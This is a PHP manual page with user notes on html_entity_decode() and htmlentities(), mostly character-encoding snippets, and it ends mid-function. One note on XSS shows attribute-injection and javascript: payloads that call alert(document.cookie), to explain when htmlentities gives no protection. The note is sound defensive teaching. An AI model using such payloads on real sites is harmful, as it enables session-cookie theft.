        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 05:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 02:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 05:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 04-Mar-2009 03:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
Anonymous 30-Jul-2008 10:01
You may want to specify the character set if you see unexpected behavior.  Here is an example.

# cat test.php
<?php
$str = '&#33;';
$quotes = html_entity_decode($str, ENT_QUOTES);
$noquotes = html_entity_decode($str, ENT_NOQUOTES);
$noquotesutf8 = html_entity_decode($str, ENT_NOQUOTES, 'UTF-8');
echo "quotes='$quotes', noquotes='$noquotes', noquotesutf8='$noquotesutf8'\n";
?>

# php test.php
quotes='!', noquotes='&#33;', noquotesutf8='!'
kae at verens dot com 09-May-2008 06:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 04:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 03-Nov-2006 08:27
The decipherment does the character encoded by the escape function of JavaScript.
When the multi byte is used on the page, it is effective.

javascript escape('aaああaa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aaああaa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
romekt at CUTTHISgmail dot com 01-Sep-2006 02:15
here's a simple workaround for the UTF-8 support problem

<?php
$var=iconv("UTF-8","ISO-8859-1",$var);
$var=html_entity_decode($var, ENT_QUOTES, 'ISO-8859-1');
$var=iconv("ISO-8859-1","UTF-8",$var);
?>
grvg (at) free (dot) fr 29-Jul-2006 09:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
loufoque 08-Oct-2005 01:15
If you want to decode NCRs to utf-8 use this function instead of chr().

<?php
function utf8_chr($code)
{
    if($code<128) return chr($code);
    else if($code<2048) return chr(($code>>6)+192).chr(($code&63)+128);
    else if($code<65536) return chr(($code>>12)+224).chr((($code>>6)&63)+128).chr(($code&63)+128);
    else if($code<2097152) return chr($code>>18+240).chr((($code>>12)&63)+128)
                                  .chr(($code>>6)&63+128).chr($code&63+128));
}
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 03:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
gaui at gaui dot is 04-Jul-2005 05:15
[If you are missing the html_entity_decode() function in your version of PHP, you may wish to try this code snippet.]

<?php
if( !function_exists( 'html_entity_decode' ) )
{
    function html_entity_decode( $given_html, $quote_style = ENT_QUOTES ) {
        $trans_table = array_flip(get_html_translation_table( HTML_SPECIALCHARS, $quote_style ));
        $trans_table['&#39;'] = "'";
        return ( strtr( $given_html, $trans_table ) );
       }
}
?>
marius (at) hot (dot) ee 08-Apr-2005 06:40
To convert html entities into unicode characters, use the following:

<?php
        $trans_tbl = get_html_translation_table(HTML_ENTITIES);
        foreach($trans_tbl as $k => $v)
        {
            $ttr[$v] = utf8_encode($k);
        }

        $text = strtr($text, $ttr);
?>
php dot net at c dash ovidiu dot tk 18-Mar-2005 12:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
Silvan 28-Jan-2005 07:33
Passing NULL or FALSE as a string will generate a '500 Internal Server Error' (or break the script when inside a function).

So always test your string first before passing it to html_entity_decode().
daniel at brightbyte dot de 13-Nov-2004 06:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 12:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
hex2bin
htmlentities
String Functions


Convert all applicable characters to HTML entities

html_entity_decode
htmlspecialchars_decode
String Functions
PHP Manual

htmlentities

(PHP 4, PHP 5)

htmlentities — Convert all applicable characters to HTML entities

Description

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $charset [, bool $double_encode = true ]]] )

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

If you're wanting to decode instead (the reverse) you can use html_entity_decode().

Parameters

string

The input string.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_IGNORE | Silently discard invalid code unit sequences instead of returning an empty string. This is provided for backwards compatibility; avoid using it as it may have security implications.
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of returning an empty string.
ENT_DISALLOWED | Replace code unit sequences, which are invalid in the specified document type, with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise).
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

charset

Like htmlspecialchars(), it takes an optional third argument charset which defines character set used in conversion. Presently, the ISO-8859-1 character set is used as the default. However, this default is very likely to change in future versions of PHP; the programmer is highly encouraged to specify a value.

Following character sets are supported in PHP 4.3.0 and later.

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian. This charset is supported in 4.3.2.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, 932 | Japanese
EUC-JP | EUCJP | Japanese
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

double_encode

When double_encode is turned off PHP will not encode existing html entities. The default is to convert everything.

Return Values

Returns the encoded string.

Changelog

Version | Description
5.4.0 | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.0 | The constant ENT_IGNORE was added.
5.2.3 | The double_encode parameter was added.
4.1.0 | The charset parameter was added.
4.0.3 | The flags parameter was added.

Examples

Example #1 A htmlentities() example

<?php
$str = "A 'quote' is <b>bold</b>";

// Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

Example #2 Usage of ENT_IGNORE

<?php
$str = "\x8F!!!";

// Outputs an empty string
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// Outputs "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
?>

See Also

  • html_entity_decode() - Convert all HTML entities to their applicable characters
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • htmlspecialchars() - Convert special characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • urlencode() - URL-encodes string

User Contributed Notes

wd at NOSPAMwd dot it 19-Dec-2011 02:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "à","è",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Hèèèllooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Hèèèllooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 16-Nov-2011 08:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 02:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 08:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('£hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('£hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
markus at senoner dot com 15-Apr-2011 07:27
Pay attention, that htmlentities() does not recognise all Unicode-Symbols.  For example the bullet "•" (&bull; or &#8226;) will not be converted to a html-entity.
admin at wapforum dot rs 24-Feb-2011 01:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
kindrosker at gmail dot com 10-Feb-2011 05:31
All Codes list

array('À'=>'&Agrave;', 'à'=>'&agrave;', 'Á'=>'&Aacute;', 'á'=>'&aacute;', 'Â'=>'&Acirc;', 'â'=>'&acirc;', 'Ã'=>'&Atilde;', 'ã'=>'&atilde;', 'Ä'=>'&Auml;', 'ä'=>'&auml;', 'Å'=>'&Aring;', 'å'=>'&aring;', 'Æ'=>'&AElig;', 'æ'=>'&aelig;', 'Ç'=>'&Ccedil;', 'ç'=>'&ccedil;', 'Ð'=>'&ETH;', 'ð'=>'&eth;', 'È'=>'&Egrave;', 'è'=>'&egrave;', 'É'=>'&Eacute;', 'é'=>'&eacute;', 'Ê'=>'&Ecirc;', 'ê'=>'&ecirc;', 'Ë'=>'&Euml;', 'ë'=>'&euml;', 'Ì'=>'&Igrave;', 'ì'=>'&igrave;', 'Í'=>'&Iacute;', 'í'=>'&iacute;', 'Î'=>'&Icirc;', 'î'=>'&icirc;', 'Ï'=>'&Iuml;', 'ï'=>'&iuml;', 'Ñ'=>'&Ntilde;', 'ñ'=>'&ntilde;', 'Ò'=>'&Ograve;', 'ò'=>'&ograve;', 'Ó'=>'&Oacute;', 'ó'=>'&oacute;', 'Ô'=>'&Ocirc;', 'ô'=>'&ocirc;', 'Õ'=>'&Otilde;', 'õ'=>'&otilde;', 'Ö'=>'&Ouml;', 'ö'=>'&ouml;', 'Ø'=>'&Oslash;', 'ø'=>'&oslash;', 'Œ'=>'&OElig;', 'œ'=>'&oelig;', 'ß'=>'&szlig;', 'Þ'=>'&THORN;', 'þ'=>'&thorn;', 'Ù'=>'&Ugrave;', 'ù'=>'&ugrave;', 'Ú'=>'&Uacute;', 'ú'=>'&uacute;', 'Û'=>'&Ucirc;', 'û'=>'&ucirc;', 'Ü'=>'&Uuml;', 'ü'=>'&uuml;', 'Ý'=>'&Yacute;', 'ý'=>'&yacute;', 'Ÿ'=>'&Yuml;', 'ÿ'=>'&yuml;');
galert420 at gmail dot com 05-Nov-2010 10:24
Croatian entites

<?php
$ent = array(
    'Ć'=>'&#262;',
    'ć'=>'&#263;',
    'Č'=>'&#268;',
    'č'=>'&#269;',
    'Đ'=>'&#272',
    'đ'=>'&#273',
    'Š'=>'&#352',
    'š'=>'&#353',
    'Ž'=>'&#381',
    'ž'=>'&#382'
);

echo strtr('ĆćČčĐđŠšŽž', $ent);
?>
php dot net at softmoon-webware dot com 12-Oct-2010 02:32
<?php
$HTML_ENTS=array("quot", "amp", "apos", "lt", "gt", "nbsp", "iexcl", "cent",
"pound","curren", "yen", "brvbar", "sect", "uml", "copy", "ordf", "laquo",
"not", "shy", "reg", "macr", "deg", "plusmn", "sup2", "sup3", "acute",
"micro", "para", "middot", "cedil", "sup1", "ordm", "raquo", "frac14",
"frac12", "frac34", "iquest", "Agrave", "Aacute", "Acirc", "Atilde", "Auml",
"Aring", "AElig", "Ccedil", "Egrave", "Eacute", "Ecirc", "Euml", "Igrave",
"Iacute", "Icirc", "Iuml", "ETH", "Ntilde", "Ograve", "Oacute", "Ocirc",
"Otilde", "Ouml", "times", "Oslash", "Ugrave", "Uacute", "Ucirc", "Uuml",
"Yacute", "THORN", "szlig", "agrave", "aacute", "acirc", "atilde", "auml",
"aring", "aelig", "ccedil", "egrave", "eacute", "ecirc", "euml", "igrave",
"iacute", "icirc", "iuml", "eth", "ntilde", "ograve", "oacute", "ocirc",
"otilde", "ouml", "divide", "oslash", "ugrave", "uacute", "ucirc", "uuml",
"yacute", "thorn", "yuml", "OElig", "oelig", "Scaron", "scaron", "Yuml",
"fnof", "circ", "tilde", "Alpha", "Beta", "Gamma", "Delta", "Epsilon",
"Zeta", "Eta", "Theta", "Iota", "Kappa", "Lambda", "Mu", "Nu", "Xi",
"Omicron", "Pi", "Rho", "Sigma", "Tau", "Upsilon", "Phi", "Chi", "Psi",
"Omega", "alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta",
"theta", "iota", "kappa", "lambda", "mu", "nu", "xi", "omicron", "pi",
"rho", "sigmaf", "sigma", "tau", "upsilon", "phi", "chi", "psi", "omega",
"thetasym", "upsih", "piv", "ensp", "emsp", "thinsp", "zwnj", "zwj", "lrm",
"rlm", "ndash", "mdash", "lsquo", "rsquo", "sbquo", "ldquo", "rdquo",
"bdquo", "dagger", "Dagger", "bull", "hellip", "permil", "prime", "Prime",
"lsaquo", "rsaquo", "oline", "frasl", "euro", "image", "weierp", "real",
"trade", "alefsym", "larr", "uarr", "rarr", "darr", "harr", "crarr", "lArr",
"uArr", "rArr", "dArr", "hArr", "forall", "part", "exist", "empty", "nabla",
"isin", "notin", "ni", "prod", "sum", "minus", "lowast", "radic", "prop",
"infin", "ang", "and", "or", "cap", "cup", "int", "there4", "sim", "cong",
"asymp", "ne", "equiv", "le", "ge", "sub", "sup", "nsub", "sube", "supe",
"oplus", "otimes", "perp", "sdot", "lceil", "rceil", "lfloor",
"rfloor", "lang", "rang", "loz", "spades", "clubs", "hearts", "diams");

// The selection of tags below is optimized for use with a webmaster's database,
// --NOT-- to process user POSTs from the World Wide Web
//  for inclusion on a public page.

//  NOT included:
//   form,  input,  select,  option,  label,  optgroup,  textarea,  area,  map,
//   html,  head,  style,  link,  meta,  base,  body,  isindex,
//   frame,  frameset,  noframes
//  (include those above at your wish,  remove those below at your wish)
$HTML_TAGS=array("a", "abbr", "acronym", "address", "applet", "b", "basefont",
"bdo", "big", "blockquote", "br", "button", "caption", "center", "cite",
"code", "col", "colgroup", "dd", "del", "dfn", "dir", "div", "dl", "dt", "em",
"embed", "fieldset", "font", "h1", "h2", "h3", "h4", "h5", "h6", "hr", "i",
"iframe", "img", "ins", "kbd", "legend", "li", "menu", "noembed", "noscript",
"object", "ol", "p", "param", "pre", "q", "s", "samp", "script", "small",
"span", "strike", "strong", "sub", "sup", "table", "tbody", "td", "tfoot",
"th", "thead", "title", "tr", "tt", "u", "ul", "var");

$Xchars = array(
 128 => '&#8364;',
 130 => '&#8218;',
 131 => '&#402;',
 132 => '&#8222;',
 133 => '&#8230;',
 134 => '&#8224;',
 135 => '&#8225;',
 136 => '&#710;',
 137 => '&#8240;',
 138 => '&#352;',
 139 => '&#8249;',
 140 => '&#338;',
 142 => '&#381;',
 145 => '&#8216;',
 146 => '&#8217;',
 147 => '&#8220;',
 148 => '&#8221;',
 149 => '&#8226;',
 150 => '&#8211;',
 151 => '&#8212;',
 152 => '&#732;',
 153 => '&#8482;',
 154 => '&#353;',
 155 => '&#8250;',
 156 => '&#339;',
 158 => '&#382;',
 159 => '&#376;');
?>
drallen at cs dot uwaterloo dot ca 29-Sep-2010 04:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 01:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 12:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
Wired 13-May-2010 05:22
I needed a simple little function to take a string and convert extended ascii characters into html entities. I couldn't find a function for this so I whipped one up.

<?php
/* Convert Extended ASCII Characters to HTML Entities */
function ascii2entities($string){
    for($i=128;$i<=255;$i++){
        $entity = htmlentities(chr($i), ENT_QUOTES, 'cp1252');
        $temp = substr($entity, 0, 1);
        $temp .= substr($entity, -1, 1);
        if ($temp != '&;'){
            $string = str_replace(chr($i), '', $string);
        }
        else{
            $string = str_replace(chr($i), $entity, $string);
        }
    }
    return $string;
}

echo ascii2entities("•");
?>
phil at lavin dot me dot uk 08-Apr-2010 08:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
silverbeat -eat- gmx -hot- at 09-Mar-2010 12:42
When using UTF-8 as a charset, htmlentities will only convert 1-byte and 2-byte characters. Use this function if you also want to convert 3-byte and 4-byte characters:

<?php

// converts a UTF8-string into HTML entities
//  - $utf8:        the UTF8-string to convert
//  - $encodeTags:  booloean. TRUE will convert "<" to "&lt;"
//  - return:       returns the converted HTML-string
function utf8tohtml($utf8, $encodeTags) {
    $result = '';
    for ($i = 0; $i < strlen($utf8); $i++) {
        $char = $utf8[$i];
